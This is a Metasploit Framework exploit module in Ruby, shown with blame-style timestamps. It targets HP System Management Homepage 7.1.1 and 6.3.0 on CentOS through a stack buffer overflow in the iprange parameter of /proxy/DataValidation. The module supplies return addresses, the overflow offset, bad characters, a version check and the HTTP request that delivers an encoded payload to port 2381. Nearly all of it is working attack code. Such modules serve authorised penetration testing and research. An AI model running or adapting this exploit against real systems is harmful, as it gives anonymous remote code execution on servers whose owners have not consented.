2013-03-28 11:00:17 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-03-29 17:02:23 +00:00
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }
|
2013-03-28 11:00:17 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2013-03-28 12:22:26 +00:00
|
|
|
'Name' => 'HP System Management Anonymous Access Code Execution',
|
2013-03-28 11:00:17 +00:00
|
|
|
'Description' => %q{
|
2013-03-29 17:02:23 +00:00
|
|
|
This module exploits an anonymous remote code execution on HP System Management
|
|
|
|
7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
|
|
|
|
a request against /proxy/DataValidation. In order to work HP System Management must
|
|
|
|
be configured with Anonymous access enabled.
|
2013-03-28 11:00:17 +00:00
|
|
|
},
|
2013-03-29 17:02:23 +00:00
|
|
|
'Author' => [ 'agix' ], # @agixid
|
2013-03-28 11:00:17 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
|
2013-03-29 17:02:23 +00:00
|
|
|
'EncoderOptions' =>
|
|
|
|
{
|
|
|
|
'BufferRegister' => 'ESP' # See the comments below
|
|
|
|
}
|
2013-03-28 11:00:17 +00:00
|
|
|
},
|
|
|
|
'Platform' => ['linux'],
|
|
|
|
'Arch' => ARCH_X86,
|
2013-03-28 12:22:26 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2013-03-30 09:42:58 +00:00
|
|
|
['OSVDB', '91812']
|
2013-03-29 17:02:23 +00:00
|
|
|
],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2013-03-28 12:22:26 +00:00
|
|
|
[ 'HP System Management 7.1.1 - Linux (CentOS)',
|
2013-03-29 17:02:23 +00:00
|
|
|
{
|
|
|
|
'Ret' => 0x8054e14, # push esp / ret
|
|
|
|
'Offset' => 267
|
|
|
|
}
|
2013-03-28 11:00:17 +00:00
|
|
|
],
|
2013-03-28 12:22:26 +00:00
|
|
|
[ 'HP System Management 6.3.0 - Linux (CentOS)',
|
2013-03-29 17:02:23 +00:00
|
|
|
{
|
|
|
|
'Ret' => 0x805a547, # push esp / ret
|
|
|
|
'Offset' => 267
|
|
|
|
}
|
2013-03-28 11:00:17 +00:00
|
|
|
]
|
|
|
|
],
|
2013-03-28 12:22:26 +00:00
|
|
|
'DisclosureDate' => 'Sep 01 2012',
|
2013-03-28 11:00:17 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2013-03-29 17:02:23 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(2381),
|
|
|
|
OptBool.new('SSL', [true, 'Use SSL', true])
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "/cpqlogin.htm"
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
|
|
|
|
version = $1
|
|
|
|
return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
2013-03-28 11:00:17 +00:00
|
|
|
def exploit
|
2013-03-29 17:02:23 +00:00
|
|
|
|
|
|
|
padding = rand_text_alpha(target['Offset'])
|
2013-03-28 11:00:17 +00:00
|
|
|
ret = [target['Ret']].pack('V')
|
2013-03-28 12:22:26 +00:00
|
|
|
iprange = "a-bz"+padding+ret+payload.encoded
|
2013-03-29 17:02:23 +00:00
|
|
|
|
|
|
|
print_status("#{rhost}:#{rport} - Sending exploit...")
|
2013-03-28 11:00:17 +00:00
|
|
|
|
2013-03-28 12:22:26 +00:00
|
|
|
res = send_request_cgi({
|
2013-03-29 17:02:23 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "/proxy/DataValidation",
|
|
|
|
'encode_params' => false,
|
|
|
|
'vars_get' => {
|
|
|
|
'iprange' => iprange
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
2013-03-28 11:00:17 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|